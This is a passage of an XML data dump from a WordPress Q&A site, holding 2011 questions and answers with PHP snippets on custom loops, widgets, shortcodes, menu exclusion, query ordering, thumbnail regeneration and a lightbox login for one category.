&amp;amp;get_post( $post_id );&#xA;setup_postdata($post); ?&amp;gt;&#xA;&#xA;&amp;lt;?php $count++;&#xA;if ($count%2== 0) : ?&amp;gt;&#xA;&#xA;&amp;lt;-- do the loop, count out two articles --&amp;gt;&#xA;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA;&amp;lt;-- do something after every two articles --&amp;gt;&#xA;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt; //ugly but works&#xA;&#xA;&amp;lt;div class=&quot;next&quot;&amp;gt; &amp;lt;?php next_posts_link('&amp;amp;raquo;' ,0); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;previous&quot;&amp;gt; &amp;lt;?php previous_posts_link('&amp;amp;laquo;' ,0); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5859" LastEditorUserId="5859" LastEditorDisplayName="" LastEditDate="2011-06-01T11:38:16.453" LastActivityDate="2011-09-02T08:39:47.353" Title="Add pagination to my custom loop" Tags="&lt;pagination&gt;&lt;custom-loop&gt;" AnswerCount="2" />
  <row Id="18939" PostTypeId="2" ParentId="18937" CreationDate="2011-06-01T11:37:23.257" Score="3" ViewCount="" Body="&lt;p&gt;if you can use &lt;code&gt;template_redirect&lt;/code&gt; hook and a simple function to set the template to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'category_set_redirect' );&#xA;function category_set_redirect(){&#xA;    //create the sets of categories&#xA;    $first_set= array(&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;);&#xA;    $second_set= array(&quot;7&quot;,&quot;8&quot;,&quot;9&quot;,&quot;10&quot;,&quot;11&quot;,&quot;12&quot;);&#xA;&#xA;    if (is_category()){&#xA;        if (in_array(get_query_var('cat'),$first_set)){&#xA;            include(TEMPLATEPATH . &quot;/first_category.php&quot;); // include the corresponding template&#xA;            die();&#xA;        }&#xA;        if (in_array(get_query_var('cat'),$second_set)){&#xA;            include(TEMPLATEPATH . &quot;/second_category.php&quot;); // include the corresponding template&#xA;            die();&#xA;        }   &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T11:37:23.257" CommentCount="2" />
  <row Id="18940" PostTypeId="1" AcceptedAnswerId="18948" CreationDate="2011-06-01T11:46:34.193" Score="1" ViewCount="162" Body="&lt;p&gt;Any Short code Availble for &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/get-post-list-with-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Get Post List With Thumbnail&lt;/a&gt;&lt;/strong&gt; Plugin? or else how to Create Short code for this Particular plugin?&#xA;Thank u in Advance.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-01T11:48:38.687" LastActivityDate="2011-06-02T10:25:30.240" Title="Any Short code Availble for Get Post List With Thumbnail Plugin?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;post-thumbnails&gt;&lt;shortcode&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="18941" PostTypeId="2" ParentId="18938" CreationDate="2011-06-01T11:54:58.310" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/pagination-and-a-custom-post-loop&quot; rel=&quot;nofollow&quot;&gt;Usefull Link&lt;/a&gt;I Think already we had done.It may Useful for understanding the concepts and you should start to customize your site as your needs.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-01T11:54:58.310" CommentCount="0" />
  <row Id="18942" PostTypeId="1" AcceptedAnswerId="19052" CreationDate="2011-06-01T12:00:10.773" Score="2" ViewCount="198" Body="&lt;p&gt;I have a simple custom widget that asks for its width (that is used later in the front end). The width field is a select dropdown, so a user have predefined options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will have many instances of my widget, each will have its own width setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in my widget code I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $before_widget;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;widget my&quot; id=&quot;my-widget-1&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is somehow hook into &lt;code&gt;$before_widget&lt;/code&gt; and add my own class (the specified width from the select dropdown). So, I want the following markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;widget my col480&quot; id=&quot;my-widget-3&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if there is no class specified then I want to add &lt;code&gt;class=&quot;col480&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help!&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditorDisplayName="" LastEditDate="2011-06-01T13:38:38.977" LastActivityDate="2011-06-02T15:30:00.777" Title="Add class to before_widget from within a custom widget" Tags="&lt;widgets&gt;&lt;hacks&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18943" PostTypeId="1" AcceptedAnswerId="18947" CreationDate="2011-06-01T12:14:06.393" Score="2" ViewCount="47" Body="&lt;p&gt;A client of mine has a WP multisite network of sites which all use the same template. This template uses wp_page_menu. I just added a mobile version of the template by using a certain plugin. It will use the same pages as the desktop version of the website, but the client has requested a different landing page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if I create a new page to facilitate this landing page, it will show up in the code generated by wp_page_menu. Since all sites in this network uses the same template and the page will have different page IDs on different sites, I cannot exclude it manually in the wp_page_menu function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking that if I could exclude the post by title or category name instead of by ID, this might work. But I don't know how to do that. Please help?&lt;/p&gt;&#xA;" OwnerUserId="5028" LastEditorUserId="5028" LastEditorDisplayName="" LastEditDate="2011-06-01T12:26:59.547" LastActivityDate="2011-06-01T13:15:17.610" Title="Excluding a page with a certain name from wp_page_menu" Tags="&lt;theme-development&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="18944" PostTypeId="1" CreationDate="2011-06-01T12:41:25.447" Score="1" ViewCount="53" Body="&lt;p&gt;There's a specific category on my website that should be restricted to teachers only using login.&#xA;However, I don't want to hassle the teachers with the not so welcoming admin Wordpress offers.&#xA;I would like to offer a &quot;lightbox&quot; that's basically a login that doesn't automatically forward to the admin, but only makes the teachers category content available.&#xA;Do you know any plugin that allows that?&#xA;Thanks,&#xA;Sarit&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2011-08-31T06:37:31.480" Title="Login &quot;Lightbox&quot; for specific category content" Tags="&lt;categories&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="18945" PostTypeId="2" ParentId="18942" CreationDate="2011-06-01T13:03:38.577" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;dynamic_sidebar_params&lt;/code&gt; filter hook to find your widget and add your classes to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('dynamic_sidebar_params', 'add_classes_to__widget'); &#xA;function add_classes_to__widget($params){&#xA;    if ($params[0]['widget_id'] == &quot;my-widget-1&quot;){ //make sure its your widget id here&#xA;        // its your widget so you add  your classes&#xA;        $classe_to_add = 'col480 whatever bla bla '; // make sure you leave a space at the end&#xA;        $classe_to_add = 'class=&quot; '.$classe_to_add;&#xA;        $params[0]['before_widget'] = str_replace('class=&quot;',$classe_to_add,$params[0]['before_widget']);&#xA;    }&#xA;    return $params;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T13:03:38.577" CommentCount="3" />
  <row Id="18946" PostTypeId="2" ParentId="18924" CreationDate="2011-06-01T13:04:16.313" Score="1" ViewCount="" Body="&lt;p&gt;The filter on &lt;code&gt;posts_orderby&lt;/code&gt; should return a string that does not begin with &lt;code&gt;ORDER BY&lt;/code&gt;, WordPress &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/query.php#L2587&quot; rel=&quot;nofollow&quot;&gt;will add that itself&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default WordPress will filter by &lt;code&gt;post_date&lt;/code&gt;. If you don't want that, you should &lt;strong&gt;overwrite&lt;/strong&gt; the order clause, not append to it. So your filter should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_orderby( $orderby ) {  &#xA;    global $wpdb;&#xA;    return &quot; STR_TO_DATE({$wpdb-&amp;gt;postmeta}.meta_value, '%d/%m/%Y') ASC &quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-06-01T13:04:16.313" CommentCount="1" />
  <row Id="18947" PostTypeId="2" ParentId="18943" CreationDate="2011-06-01T13:15:17.610" Score="2" ViewCount="" Body="&lt;p&gt;How about using &lt;code&gt;get_page_by_path()&lt;/code&gt;, then using the ID from the returned object in an exclude filter?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_page_menu_args','my_nav_exclude_pages');&#xA;&#xA;function my_nav_exclude_pages( $args = array() ) {&#xA;  $homepage = get_page_by_path('my-page-slug');&#xA;  $args['exclude'] = join( ',', array( $args['exclude'], $homepage-&amp;gt;ID ) ); &#xA;&#xA;  return $args;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-06-01T13:15:17.610" CommentCount="1" />
  <row Id="18948" PostTypeId="2" ParentId="18940" CreationDate="2011-06-01T13:31:59.430" Score="1" ViewCount="" Body="&lt;p&gt;here is a quick crack at making it a shortcode paste this code in your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('gplt','getPostListThumbs_shortcode');&#xA;function getPostListThumbs_shortcode($atts, $content = null){&#xA;&#xA;    extract(shortcode_atts(array(&#xA;        'orient' =&amp;gt; 'v',&#xA;        'imgo' =&amp;gt; false,&#xA;        'ttgo' =&amp;gt; false,&#xA;        'dtgo' =&amp;gt; false,&#xA;        'dtfrm' =&amp;gt; 1,&#xA;        'categ' =&amp;gt; '',&#xA;        'postnr' =&amp;gt; 20,&#xA;        'linn' =&amp;gt; 3,&#xA;        'tbwid' =&amp;gt; 40,&#xA;        'tbhig' =&amp;gt; 40       &#xA;    ), $atts));&#xA;    $orient = gtpartrat($orient,'v');&#xA;    $imgo = gtpartrat($imgo,false);&#xA;    $ttgo = gtpartrat($ttgo,false);&#xA;    $dtgo = gtpartrat($dtgo,false);&#xA;    $dtfrm = gtpartrat($dtfrm,1);&#xA;    $categ = gtpartrat($categ,'');&#xA;    $postnr = gtpartrat($postnr,20);&#xA;    $linn = gtpartrat($linn,3);&#xA;    $tbwid = gtpartrat($tbwid,40);&#xA;    $tbhig = gtpartrat($tbhig,40);&#xA;&#xA;    $htmlcod = &quot;&amp;lt;table id='div_postlist' width='&quot;.$divwid.&quot;' cellpadding='4' cellspacing='4'&amp;gt;&quot;.&quot;\n&quot;;&#xA;    $htmlcod .= &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;    //&#xA;    if (have_posts()) :&#xA;        global $post;&#xA;&#xA;        if($categ!=''){&#xA;            $strquery = &quot;numberposts=&quot;.$postnr.&quot;&amp;amp;category_name=&quot;. $categ;&#xA;        }&#xA;        else{&#xA;              $strquery =  &quot;numberposts=&quot;.$postnr;&#xA;        }&#xA;&#xA;        $myposts=get_posts($strquery);&#xA;&#xA;        $ctxtr = 0;&#xA;        switch($dtfrm){&#xA;            case 1:&#xA;                $dtdis = 'd/m/y';&#xA;            break;&#xA;            case 2:&#xA;                $dtdis = 'm/d/y';&#xA;            break;&#xA;        }&#xA;        if($myposts):&#xA;&#xA;        foreach($myposts as $post) :&#xA;&#xA;                    $args = array(&#xA;                        'post_type' =&amp;gt; 'attachment',&#xA;                        'numberposts' =&amp;gt; -1,&#xA;                        'post_status' =&amp;gt; null,&#xA;                        'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;                    );&#xA;                    $attachments = get_posts($args);&#xA;&#xA;&#xA;                    $imgsrc = &quot;&quot;;&#xA;                    if ($attachments):&#xA;&#xA;                        foreach ($attachments as $attachment) {&#xA;&#xA;                            $imgsrc = wp_get_attachment_image($attachment-&amp;gt;ID, array($tbwid,$tbhig), $icon = false);&#xA;                            break;&#xA;                        }&#xA;                    endif;&#xA;&#xA;                    if($orient==&quot;v&quot;){     &#xA;                            if($ctxtr == 0){&#xA;                                $htmlcod .= &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            } &#xA;                            $ctxtr = $ctxtr + 1;&#xA;&#xA;                                $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            if($imgsrc!=&quot;&quot;):                           &#xA;                                $htmlcod .= &quot;&amp;lt;a href='&quot;. get_permalink() .&quot;' title='&quot;. get_the_title() .&quot;'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                                $htmlcod .= $imgsrc;&#xA;                                $htmlcod .= &quot;&amp;lt;/a&amp;gt;&quot;.&quot;\n&quot;;                           &#xA;                            endif;&#xA;                                $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;&#xA;                            if(!$imgo){           &#xA;                                $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                                if($dtgo):&#xA;                                $htmlcod .= &quot;&amp;lt;p&amp;gt;&quot;.get_the_time($dtdis).&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;                                endif;&#xA;                                if($ttgo):&#xA;                                $htmlcod .= &quot;&amp;lt;a href='&quot;. get_permalink().&quot;' title='&quot;. get_the_title() .&quot;'&amp;gt;&quot;;&#xA;                                $htmlcod .= get_the_title();&#xA;                                $htmlcod .= &quot;&amp;lt;/a&amp;gt;&quot;.&quot;\n&quot;;&#xA;                                endif;&#xA;                                $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            }&#xA;                            $htmlcod .= &quot;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;  &#xA;                    }&#xA;                    else{&#xA;&#xA;                            if($ctxtr == 0){&#xA;                                $htmlcod .= &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            }      &#xA;                            $ctxtr = $ctxtr + 1;                      &#xA;                            $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            $htmlcod .= &quot;&amp;lt;table cellpadding='3' cellspacing='3' border='0' width='100%'&amp;gt;&quot;.&quot;\n&quot;;&#xA;&#xA;                                $htmlcod .= &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                                $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            if($imgsrc!=&quot;&quot;):                           &#xA;                                $htmlcod .= &quot;&amp;lt;a href='&quot;. get_permalink() .&quot;' title='&quot;. get_the_title() .&quot;'&amp;gt;&quot;.&quot;\n&quot;;&#xA;                                $htmlcod .= $imgsrc;&#xA;                                $htmlcod .= &quot;&amp;lt;/a&amp;gt;&quot;.&quot;\n&quot;;    &#xA;                                $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;                       &#xA;                            endif;&#xA;&#xA;                            if(!$imgo){  &#xA;                                $htmlcod .= &quot;&amp;lt;td valign='top'&amp;gt;&quot;.&quot;\n&quot;;             &#xA;                                if($dtgo):&#xA;                                $htmlcod .= &quot;&amp;lt;p&amp;gt;&quot;.get_the_time($dtdis).&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;                                endif;&#xA;                                if($ttgo):&#xA;                                $htmlcod .= &quot;&amp;lt;a href='&quot;. get_permalink().&quot;' title='&quot;. get_the_title() .&quot;'&amp;gt;&quot;;&#xA;                                $htmlcod .= get_the_title();&#xA;                                $htmlcod .= &quot;&amp;lt;/a&amp;gt;&quot;.&quot;\n&quot;;&#xA;                                endif;      &#xA;                                $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;                         &#xA;                            }&#xA;                            $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            $htmlcod .= &quot;&amp;lt;/tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            $htmlcod .= &quot;&amp;lt;/table&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;                            if($ctxtr == $linn){&#xA;                                $htmlcod .= &quot;&amp;lt;/tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;                                $ctxtr = 0;&#xA;                            }&#xA;                    }&#xA;        endforeach;&#xA;        else:&#xA;            $htmlcod = &quot;&amp;lt;tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;            $htmlcod = &quot;&amp;lt;td&amp;gt;&quot;.&quot;\n&quot;;&#xA;            $htmlcod .= &quot;No registers found.&quot;.&quot;\n&quot;;&#xA;            $htmlcod .= &quot;&amp;lt;/td&amp;gt;&quot;.&quot;\n&quot;;&#xA;            $htmlcod .= &quot;&amp;lt;/tr&amp;gt;&quot;.&quot;\n&quot;;&#xA;        endif;&#xA;    endif;&#xA;        $htmlcod .= &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;    return $htmlcod;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;simply call the shortcode &lt;code&gt;[gplt parametes]&lt;/code&gt; from any post or a page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;parameters:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Orientation: &lt;strong&gt;orient=&quot;v&quot;&lt;/strong&gt; // v =&#xA;Vertical , h = Horizontal  default&#xA;'v'&lt;/li&gt;&#xA;&lt;li&gt;Display only images: &lt;strong&gt;imgo=&quot;false&quot;&lt;/strong&gt; //&#xA;true, false  default 'false'&lt;/li&gt;&#xA;&lt;li&gt;Display post title: &lt;strong&gt;ttgo=&quot;false&quot;&lt;/strong&gt; //&#xA;true, false  default 'false'&lt;/li&gt;&#xA;&lt;li&gt;Display post date: &lt;strong&gt;dtgo=&quot;false&quot;&lt;/strong&gt; //&#xA;true, false  default 'false'&lt;/li&gt;&#xA;&lt;li&gt;Date Format: &lt;strong&gt;dtfrm=&quot;1&quot;&lt;/strong&gt; // 1 - d/m/y ,&#xA;2 - m/d/y  default '1'&lt;/li&gt;&#xA;&lt;li&gt;Category Name: &lt;strong&gt;categ=''&lt;/strong&gt; // leave out&#xA;or blank for all categories default&#xA;''&lt;/li&gt;&#xA;&lt;li&gt;Number of Posts: &lt;strong&gt;postnr=&quot;20&quot;&lt;/strong&gt;&#xA;//default=20&lt;/li&gt;&#xA;&lt;li&gt;Number of registers per line:&#xA;&lt;strong&gt;linn=&quot;3&quot;&lt;/strong&gt;  //default=3 only for&#xA;horizontal orientation&lt;/li&gt;&#xA;&lt;li&gt;Thumbnails Width: &lt;strong&gt;tbwid=&quot;40&quot;&lt;/strong&gt;&#xA;//default = 40&lt;/li&gt;&#xA;&lt;li&gt;Thumbnails Height: &lt;strong&gt;tbhig=&quot;40&quot;&lt;/strong&gt;&#xA;//default = 40&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-01T13:31:59.430" CommentCount="6" />
  <row Id="18949" PostTypeId="2" ParentId="18911" CreationDate="2011-06-01T13:47:50.597" Score="1" ViewCount="" Body="&lt;p&gt;In your &lt;code&gt;get_terms()&lt;/code&gt; call, try setting the &lt;code&gt;hierarchical&lt;/code&gt; option to &lt;code&gt;false&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$children_terms = get_terms($taxonomy, array(&#xA;        'parent' =&amp;gt; get_term_by('slug', $parent_term, $taxonomy)-&amp;gt;term_id,&#xA;        'hierarchical' =&amp;gt; false&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This option normally defaults to &lt;code&gt;true&lt;/code&gt;, which is probably why you're getting the extra copies.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-06-01T13:47:50.597" CommentCount="1" />
  <row Id="18950" PostTypeId="1" AcceptedAnswerId="18962" CreationDate="2011-06-01T13:48:35.743" Score="1" ViewCount="142" Body="&lt;p&gt;I'd like to create a front page video feature that embeds a vimeo video of the users choosing.  I'd like the user to only have to input the video code.  For instance, for &lt;a href=&quot;http://vimeo.com/24474320&quot; rel=&quot;nofollow&quot;&gt;http://vimeo.com/24474320&lt;/a&gt; - I'd like them only to have to input &quot;24474320&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I use custom post types for this?  If so, how do I set this up so that it limits the field size?  I'm just getting started, and I'm relatively new at wordpress, so I don't need to get into specific code necessarily - it's more of a strategic question.  How would you tackle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----------------------EDIT (Monday, June 6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be awesome if all the user (backend) saw was this: &lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;b&gt;FRONT PAGE VIDEO FEATURE&lt;/b&gt;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;b&gt;Vimeo URL:&lt;/b&gt; [&lt;strong&gt;&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;__&lt;em&gt;_&lt;/em&gt;&lt;/strong&gt;]&lt;br&gt;&lt;br&gt;[Save] [Cancel]&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Then I would call that video into the front page feature.&lt;/p&gt;&#xA;" OwnerUserId="5861" LastEditorUserId="5861" LastEditorDisplayName="" LastEditDate="2011-06-06T19:13:17.543" LastActivityDate="2011-06-06T19:13:17.543" Title="Should I use custom post types for a front page video feature (vimeo)?" Tags="&lt;custom-post-types&gt;&lt;media&gt;&lt;videos&gt;&lt;embed&gt;&lt;frontpage&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="18951" PostTypeId="1" CreationDate="2011-06-01T14:04:57.690" Score="1" ViewCount="86" Body="&lt;p&gt;I just got a new theme and am trying to regenerate thumbnails. I'm having trouble though. I tried using the AJAX Thumbnail Rebuilder but for 5 hours it just said reading attachments. Then I tried the normal rebuilder but the vast majority of images came back as undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5862" LastActivityDate="2011-06-01T17:05:46.710" Title="How do I regenerate thumbnails?" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="18952" PostTypeId="2" ParentId="18951" CreationDate="2011-06-01T15:02:14.297" Score="4" ViewCount="" Body="&lt;p&gt;i have only had to do this on a couple of occasions, but each time i have used this &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;regenerate thumbnails plugin&lt;/strong&gt;&lt;/a&gt; on each occasion with a 100% success rate, however (as you will expect it did take quite a bit of time as i had over a 1000 images that it had to wade its way through on each occasion.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-01T15:02:14.297" CommentCount="3" />
  <row Id="18953" PostTypeId="2" ParentId="18799" CreationDate="2011-06-01T15:09:35.970" Score="1" ViewCount="" Body="&lt;p&gt;by Using &quot;Custom select query&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA; $querystr = &quot;&#xA;    SELECT wposts.* &#xA;    FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta&#xA;    WHERE wposts.ID = wpostmeta.post_id &#xA;    AND wpostmeta.meta_key = 'tag' &#xA;    AND wpostmeta.meta_value LIKE '%test%' &#xA;    AND wposts.post_status = 'publish' &#xA;    AND wposts.post_type = 'post'  &#xA;    ORDER BY wposts.post_date DESC&#xA; &quot;;&#xA;&#xA; $pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA;?&amp;gt;&#xA; &amp;lt;?php if ($pageposts): ?&amp;gt;&#xA;  &amp;lt;?php global $post; ?&amp;gt;&#xA;  &amp;lt;?php foreach ($pageposts as $post): ?&amp;gt;&#xA;    &amp;lt;?php setup_postdata($post); ?&amp;gt;&#xA;  &amp;lt;?php endforeach; ?&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5315" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-01T16:24:51.640" LastActivityDate="2011-06-01T16:24:51.640" />
  <row Id="18954" PostTypeId="1" CreationDate="2011-06-01T15:15:18.913" Score="0" ViewCount="33" Body="&lt;p&gt;I have a wordpress 3.1.3 multisite install with 'author' level users for each site.  I've used the role scoper plugin to grant wp-authors Post Editor access to all posts and as the default for new posts.  I've also used it to restrict Wp-Authors from any page access (I made them all page associates).  At current, my author users are able to create, publish, and edit posts freely however they don't see the quick edit link (the link is missing from the rollover) regardless of who authored the posts.  What permission do I need to grant in order for the users to have Quick Edit access?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;Robert&lt;/p&gt;&#xA;" OwnerUserId="3320" LastActivityDate="2011-06-01T15:15:18.913" Title="Post Quick Edit Permission" Tags="&lt;permissions&gt;&lt;quick-edit&gt;" />
  <row Id="18955" PostTypeId="2" ParentId="18852" CreationDate="2011-06-01T15:22:34.923" Score="2" ViewCount="" Body="&lt;p&gt;Of the few I've seen, I think that most &quot;premium&quot; Themes &lt;em&gt;way&lt;/em&gt; over-complicate Theme Settings pages. I generally prefer Theme Settings pages that maintain the style/layout of the rest of the WP-Admin UI. So, these would be my rules of thumb:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Incorporate meaningful settings, and not necessarily every possible setting under the sun.&lt;/li&gt;&#xA;&lt;li&gt;Organize settings logically.&lt;/li&gt;&#xA;&lt;li&gt;Maintain consistent layout/style with the rest of the WP-Admin UI, including Settings fields, sections, and page tabs. &lt;em&gt;Note: use of the Settings API makes this dead-simple.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-01T15:22:34.923" CommentCount="1" />
  <row Id="18956" PostTypeId="2" ParentId="18944" CreationDate="2011-06-01T15:40:42.937" Score="1" ViewCount="" Body="&lt;p&gt;Don't know about a plugin that does that for you but you can use the WordPress native Thickbox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VO3S8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First include the Thickbox script and style in your category only if the user is not logged in (simply copy/paste  in your theme's functions.php file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_thickbox_script_and_style(){&#xA;    if(is_category('YOUR_CATEGORY') &amp;amp;&amp;amp; !is_user_logged_in()){&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script('thickbox',null,array('jquery'));&#xA;        wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');&#xA;    }&#xA;}&#xA;add_action('init','add_thickbox_script_and_style');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then open up your category.php (or archive.php depending on your theme , or even better is a custom file for that category  &lt;code&gt;category-id.php&lt;/code&gt;) and add this code before the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_category('YOUR_CATEGORY') &amp;amp;&amp;amp; !is_user_logged_in()){&#xA;    echo '&amp;lt;div id=&quot;lform&quot; style=&quot;display:none;&quot;&amp;gt;';&#xA;    wp_login_form();&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;    echo 'Please &amp;lt;a class=&quot;thickbox&quot; 